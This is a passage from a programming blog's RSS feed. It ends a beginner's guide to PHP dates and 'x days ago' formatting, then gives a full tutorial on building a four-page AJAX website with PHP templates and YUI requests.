	<span style="color: #990000;">echo</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;last Monday&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Read more about strtotime() here:</p>
<p><a href="http://php.net/manual/en/function.strtotime.php" target="_blank">http://php.net/manual/en/function.strtotime.php</a></p>
<p><strong>How To Display Dates Like &#8216;x days ago&#8217;?</strong></p>
<p>I got this function form one of the comments on PHP documentation, it&#8217;s very nice and does just this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #000000; font-weight: bold;">function</span> date_range<span style="color: #009900;">&#40;</span><span style="color: #000088;">$timestamp</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$timestamp</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">1</span> <span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$difference</span> <span style="color: #339933;">=</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$timestamp</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$periods</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;second&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;minute&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;hour&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;day&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;week&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;month&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;year&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;decade&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$lengths</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;60&quot;</span><span style="color: #339933;">,</span>     <span style="color: #0000ff;">&quot;60&quot;</span><span style="color: #339933;">,</span>     <span style="color: #0000ff;">&quot;24&quot;</span><span style="color: #339933;">,</span>   <span style="color: #0000ff;">&quot;7&quot;</span><span style="color: #339933;">,</span>   <span style="color: #0000ff;">&quot;4.35&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;12&quot;</span><span style="color: #339933;">,</span>    <span style="color: #0000ff;">&quot;10&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$j</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$difference</span> <span style="color: #339933;">&gt;=</span> <span style="color: #000088;">$lengths</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$j</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #000088;">$difference</span> <span style="color: #339933;">/=</span> <span style="color: #000088;">$lengths</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$difference</span> <span style="color: #339933;">=</span> <span style="color: #990000;">round</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$difference</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$difference</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$periods</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;s&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$text</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$difference</span> <span style="color: #006699; font-weight: bold;">$periods</span>[<span style="color: #006699; font-weight: bold;">$j</span>] ago&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$text</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>And call it like:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #990000;">echo</span> date_range<span style="color: #009900;">&#40;</span><span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'today - 1 day'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p><strong>Back To The Blog Post Example</strong></p>
<p>I will show you a quick example of displaying those blog posts we talked about in the beginning of this article with a nice formatted time:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$start_date</span> <span style="color: #339933;">=</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">24</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">60</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">60</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;
   SELECT * 
   FROM post
   WHERE date &gt;= <span style="color: #006699; font-weight: bold;">$start_date</span>
   ORDER BY date DESC
&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_assoc</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">echo</span> <span style="color: #0000ff;">&quot;&lt;strong&gt;<span style="color: #006699; font-weight: bold;">{$post['title']}</span>&lt;/strong&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$post['body']}</span>&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">echo</span> <span style="color: #0000ff;">&quot;Published: &quot;</span> <span style="color: #339933;">.</span>date_range<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'date'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br /&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>This is very simplistic but demonstrates the concept.</p>
<p>I hope this helps. If you liked it, help spread the word, it&#8217;s always appreciated.</p>
<p>Good Luck <img src='http://blog.code-head.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/php-date-time-handling-made-easy-a-beginners-guide-to-php-time-and-date-handling/feed</wfw:commentRss>
		</item>
		<item>
		<title>AJAX - Beginner AJAX Tutorial - Creating a simple AJAX website with example</title>
		<link>http://blog.code-head.com/ajax-beginner-ajax-tutorial-creating-a-simple-ajax-website-with-example</link>
		<comments>http://blog.code-head.com/ajax-beginner-ajax-tutorial-creating-a-simple-ajax-website-with-example#comments</comments>
		<pubDate>Thu, 21 Jan 2010 21:12:57 +0000</pubDate>
		<dc:creator>Codehead</dc:creator>
		
		<category><![CDATA[AJAX]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[jQuery]]></category>

		<category><![CDATA[yui]]></category>

		<guid isPermaLink="false">http://blog.code-head.com/?p=762</guid>
		<description><![CDATA[We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…
Beginner AJAX Tutorial - Creating a simple AJAX website with example
What you need to know before you read this tutorial:
You need to read the previous two tutorials, they are located at here:
Beginner Ajax [...]]]></description>
			<content:encoded><![CDATA[<p><small>We are closing down our forums, it’s time to move on, but we are keeping some important threads, here are the AJAX tutorials…</small></p>
<h2>Beginner AJAX Tutorial - Creating a simple AJAX website with example</h2>
<p>What you need to know before you read this tutorial:</p>
<p>You need to read the previous two tutorials, they are located at here:<br />
<a href="http://blog.code-head.com/ajax-beginner-ajax-tutorial">Beginner Ajax Tutorial</a><br />
<a href="http://blog.code-head.com/ajax-beginner-ajax-tutorial-display-a-progress-bar-or-a-loading-message">Beginner AJAX Tutorial - Display a Progress Bar or a Loading Message</a></p>
<p>(It will only takes a few minutes and will catch you up to this point.)</p>
<p>We are going to make a simple AJAX website with 4 pages.</p>
<p>A few things to note:</p>
<p>1. We are going to make a website that works just fine for users without JavaScript.<br />
2. The back-end will be PHP, it might not be the best way to implement but it&#8217;s simple and effective for the purpose of this tutorial.<br />
3. You will be able to download the complete source code for this AJAX tutorial.<br />
4. In this AJAX tutorial the browser back button is &#8216;broken&#8217;, and users can&#8217;t bookmark internal pages of this website; fixing these issue is the topic of the next tutorial.<br />
5. In this tutorial I&#8217;m going to demonstrate what can be done with AJAX in a simple way using inline JavaScript; separating presentation and behavior will be the topic of later tutorials.<br />
<em>Inline JavaScript looks like this:</em></p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;a href=&quot;?page=about&quot; onClick=&quot;return get_page('about');&quot;&gt;About us&lt;/a&gt;</pre></div></div>

<p><strong>Let&#8217;s start with the back-end</strong></p>
<p>Here is the directory structure of this website:</p>
<p>/index.php<br />
/templates/main.php<br />
/templates/home.php<br />
/templates/about.php<br />
/templates/services.php<br />
/templates/contact.php<br />
/images/few images<br />
/yui/our yui code libraries</p>
<p>Here is the index.php source code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
	<span style="color: #000088;">$templates_folder</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'templates/'</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'home'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/** 
	 * Because we are going to get the content of a file based on user input and display it
	 * to the user, we use basename function to make sure a sneaky user doesn't try
	 * something like ../../ to get a password file or something important.
	**/</span>
	<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">basename</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">'.php'</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000088;">$page_file</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$templates_folder</span> <span style="color: #339933;">.</span><span style="color: #000088;">$page</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Note: This assumes your templates are static, that is: there is no PHP code
	 * in them, I will write about how to handle that situation later but for now, 
	 * let's keep it simple :)
	**/</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page_file</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$page_content</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page_file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$page_content</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'This page doesn\'</span>t exist here<span style="color: #339933;">.</span><span style="color: #0000ff;">';
	}
&nbsp;
	/**
	 * If the $_GET['</span>AJAX<span style="color: #0000ff;">'] is set, then the request is coming from our JavaScript
	 * get_page() function, so we just send the $page_content to the browser.
	**/
	if( isset($_GET['</span>AJAX<span style="color: #0000ff;">']) ) {
		echo $page_content;
	} else {
		include $templates_folder .'</span>main<span style="color: #339933;">.</span>php<span style="color: #0000ff;">';
	}
&nbsp;
?&gt;</span></pre></div></div>

<p>What it does is straightforward and you can understand the code just by reading it.<br />
But here is how it works:</p>
<p>1. It checks the contents of the $_GET['page'] variable for the name of the page a visitors wants to visit and assigns it to $page.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">basename</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">'.php'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$page_file</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$templates_folder</span> <span style="color: #339933;">.</span><span style="color: #000088;">$page</span><span style="color: #339933;">;</span></pre></div></div>

<p>$page_file now contains the exact path to our template.</p>
<p>Also note that, this part of the code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'home'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Makes sure that the home page is the default page, and if $_GET['page'] is empty it assigns &#8216;home&#8217; to it.</p>
<p>2. It checks if the page exists in the templates folder.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page_file</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$page_content</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page_file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$page_content</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'This page doesn\'</span>t exist here<span style="color: #339933;">.</span><span style="color: #0000ff;">';
}</span></pre></div></div>

<p>If it exists then it assigns it&#8217;s content to $page_content variable if not an error message that this page does not exist.</p>
<p>3. It checks the content of $_GET['AJAX'] variable and if its set, the request is coming from our JavaScript code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'AJAX'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">echo</span> <span style="color: #000088;">$page_content</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">include</span> <span style="color: #000088;">$templates_folder</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">'main.php'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>If it is coming from our JavaScript code then it only prints out the content of the page, but if not, it prints the main.php template.</p>
<p>Main.php source code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot; &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&gt;
&lt;html&gt;
&lt;head&gt;
	&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;
	&lt;title&gt;Sample AJAX-XHR Website&lt;/title&gt;	
&lt;/head&gt;
&nbsp;
&lt;body&gt;
&nbsp;
		<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #990000;">echo</span> <span style="color: #000088;">$page_content</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>		
&nbsp;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>This is the main.php in it&#8217;s simplest format, I omitted the JavaScript.<br />
What it does is just printing the $page_content variable in the page.</p>
<p>Other templates:</p>
<p>They only contain plain HTML code, you will see everything together soon.</p>
<p><strong>The front end</strong></p>
<p>All the JavaScript code goes into main.php, here is the JavaScript code we had so far in the previous tutorial:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">	&lt;script type=&quot;text/javascript&quot; src=&quot;yahoo.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;event.js&quot;&gt; &lt;/script&gt;
	&lt;script  type=&quot;text/javascript&quot; src=&quot;connection.js&quot;&gt; &lt;/script&gt;
&nbsp;
	&lt;script type=&quot;text/javascript&quot;&gt;
		function success_handler(o) {
			replace_html('content', o.responseText);
		}
&nbsp;
		function failure_handler(o) {
			replace_html('content', 'Server or your connection is death');
		}
&nbsp;
		function replace_html(id, content) {
			document.getElementById(id).innerHTML = content;
		}
&nbsp;
		function show_progressbar(id) {
			replace_html(id, '&lt;img src=&quot;http://images.code-head.com/progress-bars/4.gif&quot; border=&quot;0&quot; alt=&quot;Loading, please wait...&quot; /&gt;');
		}
&nbsp;
		function send_request() {
			show_progressbar('content');
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/beginner-ajax-tutorial.php', callback);
		}
&nbsp;
		function test_failure() {
			show_progressbar('content');
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'http://images.code-head.com/tutorials/ajax/some-file-that-doesnt-exists.php', callback);
		}
&nbsp;
		var progress_bar = new Image();
		progress_bar.src = 'http://images.code-head.com/progress-bars/4.gif';
	&lt;/script&gt;</pre></div></div>

<p>The code we use for this tutorial is similar, we will only replace send_request() and test_failure() with one function, get_page():</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">	&lt;script type=&quot;text/javascript&quot; src=&quot;yui/yahoo.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;yui/event.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;yui/connection.js&quot;&gt; &lt;/script&gt;
&nbsp;
	&lt;script type=&quot;text/javascript&quot;&gt;
&nbsp;
		function replace_html(id, content) {
			document.getElementById(id).innerHTML = content;	
		}
&nbsp;
		function show_progressbar(id) {
			replace_html(id, '&lt;img src=&quot;http://images.code-head.com/progress-bars/4.gif&quot; border=&quot;0&quot; alt=&quot;Loading, please wait...&quot; /&gt;');
		}
&nbsp;
		function success_handler(o) {
			replace_html('content', o.responseText);
		}
&nbsp;
		function failure_handler(o) {
			replace_html('content', 'Server or your connection is death.');
		}
&nbsp;
		function get_page(page) {
			if( page == '' ) {
				/* Do nothing if 'page' is empty, you might want to show some error message. */
				return false;
			}
			show_progressbar('content'); /* Show progress bar while waiting */
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'index.php?AJAX=true&amp;page=' + page, callback);
			return false;
			/**
			 * return false! 
			 * Because this will prevent the browser from navigating to page specified in 
			 * the link's href attribute.
			**/
		}
&nbsp;
		/* Let's preload our progress bar */
		var progress_bar = new Image();
		progress_bar.src = 'http://images.code-head.com/progress-bars/4.gif';
&nbsp;
	&lt;/script&gt;</pre></div></div>

<p>get_page() function is very simple, here is what it does:</p>
<p>1. It receives the page name as an argument.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> get_page<span style="color: #009900;">&#40;</span>page<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #006600; font-style: italic;">// ...</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>2. It check if the page variable is empty.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span> page <span style="color: #339933;">==</span> <span style="color: #3366CC;">''</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>				
	<span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Here, this function does nothing if page variable is empty, you might want to show an error message.</p>
<p>3. It shows the progress bar before sending the request to the server, letting the user know that something is actually happening:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">show_progressbar<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'content'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>4. It sends the request to server and sets our success_handler and  failure_handler as callbacks:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> callback <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span> success<span style="color: #339933;">:</span>success_handler<span style="color: #339933;">,</span>	failure<span style="color: #339933;">:</span>failure_handler<span style="color: #339933;">,</span> timeout<span style="color: #339933;">:</span> <span style="color: #CC0000;">10000</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
YAHOO.<span style="color: #660066;">util</span>.<span style="color: #660066;">Connect</span>.<span style="color: #660066;">asyncRequest</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'GET'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'index.php?AJAX=true&amp;page='</span> <span style="color: #339933;">+</span> page<span style="color: #339933;">,</span> callback<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Note: We are sending a request to:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #3366CC;">'index.php?AJAX=true&amp;page='</span> <span style="color: #339933;">+</span> page</pre></div></div>

<p>We set the AJAX variable to true and we set the page variable to the page variable that passed to the function. (It can be &#8216;about&#8217;, &#8217;services&#8217;, etc.)</p>
<p>5. It returns false. Return false will result in any link that uses this function to appear as not working, that is, the browser won&#8217;t try to navigate<br />
to the page specified in the links href attribute. Instead of letting the browser navigate to that page we replace the content of the page with JavaScript.</p>
<p>main.php with the JavaScript and a menu:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot; &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&gt;
&lt;html&gt;
&lt;head&gt;
&nbsp;
	&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;
	&lt;title&gt;Sample AJAX-XHR Website&lt;/title&gt;
&nbsp;
	&lt;!-- Usual yui stuff --&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;yui/yahoo.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;yui/event.js&quot;&gt; &lt;/script&gt;
	&lt;script type=&quot;text/javascript&quot; src=&quot;yui/connection.js&quot;&gt; &lt;/script&gt;
&nbsp;
	&lt;script type=&quot;text/javascript&quot;&gt;
&nbsp;
		function replace_html(id, content) {
			document.getElementById(id).innerHTML = content;	
		}
&nbsp;
		function show_progressbar(id) {
			replace_html(id, '&lt;img src=&quot;http://images.code-head.com/progress-bars/4.gif&quot; border=&quot;0&quot; alt=&quot;Loading, please wait...&quot; /&gt;');
		}
&nbsp;
		function success_handler(o) {
			replace_html('content', o.responseText);
		}
&nbsp;
		function failure_handler(o) {
			replace_html('content', 'Server or your connection is death.');
		}
&nbsp;
		function get_page(page) {
			if( page == '' ) {
				/* Do nothing if 'page' is empty, you might want to show some error message. */
				return false;
			}
			show_progressbar('content'); /* Show progress bar while waiting */
			var callback = { success:success_handler,	failure:failure_handler, timeout: 10000 };
			YAHOO.util.Connect.asyncRequest('GET', 'index.php?AJAX=true&amp;page=' + page, callback);
			return false;
			/**
			 * return false?! 
			 * Because this will prevent the browser to navigate to page specified in 
			 * the link's href attribute.
			**/
		}
&nbsp;
		/* Let's preload our progress bar */
		var progress_bar = new Image();
		progress_bar.src = 'http://images.code-head.com/progress-bars/4.gif';
&nbsp;
	&lt;/script&gt;
&nbsp;
&lt;/head&gt;
&nbsp;
&lt;body&gt;
&lt;div id=&quot;main-wrapper&quot;&gt;
&lt;div id=&quot;main-padding&quot;&gt;
&nbsp;
	&lt;h1&gt;Sample AJAX-XHR Website&lt;/h1&gt;
&nbsp;
	&lt;div id=&quot;menu&quot;&gt;
		&lt;a href=&quot;?page=about&quot; onClick=&quot;return get_page('about');&quot;&gt;About us&lt;/a&gt;
		&amp;nbsp; &amp;nbsp; 
		&lt;a href=&quot;?page=services&quot; onClick=&quot;return get_page('services');&quot;&gt;Our services&lt;/a&gt;
		&amp;nbsp; &amp;nbsp; 
		&lt;a href=&quot;?page=contact&quot; onClick=&quot;return get_page('contact');&quot;&gt;Contact us&lt;/a&gt;
		&amp;nbsp; &amp;nbsp;
		&lt;a href=&quot;?page=home&quot; onClick=&quot;return get_page('home');&quot;&gt;Home&lt;/a&gt; 
	&lt;/div&gt;
&nbsp;
	&lt;div id=&quot;content&quot;&gt;
&nbsp;
		&lt;?php echo $page_content; ?&gt;		
&nbsp;
	&lt;/div&gt;
&nbsp;
&lt;/div&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>2 notes:<br />
1. Menu links are like:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;a href=&quot;?page=about&quot; onClick=&quot;return get_page('about');&quot;&gt;About us&lt;/a&gt;</pre></div></div>

<p>Their href attribute is actually pointing to the right page, so users without JavaScript will be able to navigate through these pages, and search engines will have<br />
no problem indexing these pages as well.</p>
<p>2. On the other hand their onClick event is set to call get_page() function and passes the page name as the argument to the get_page().</p>
<p><strong>Here is how it works all together:</strong><br />
<a href="http://images.code-head.com/tutorials/ajax/sample-AJAX-XHR-website/">http://images.code-head.com/tutorials/ajax/sample-AJAX-XHR-website/</a></p>
<p>Please note: Ignore the look of this example, the point is the functionality.<br />
You can try turning off your JavaScript and see that the example site still works just fine without it.</p>
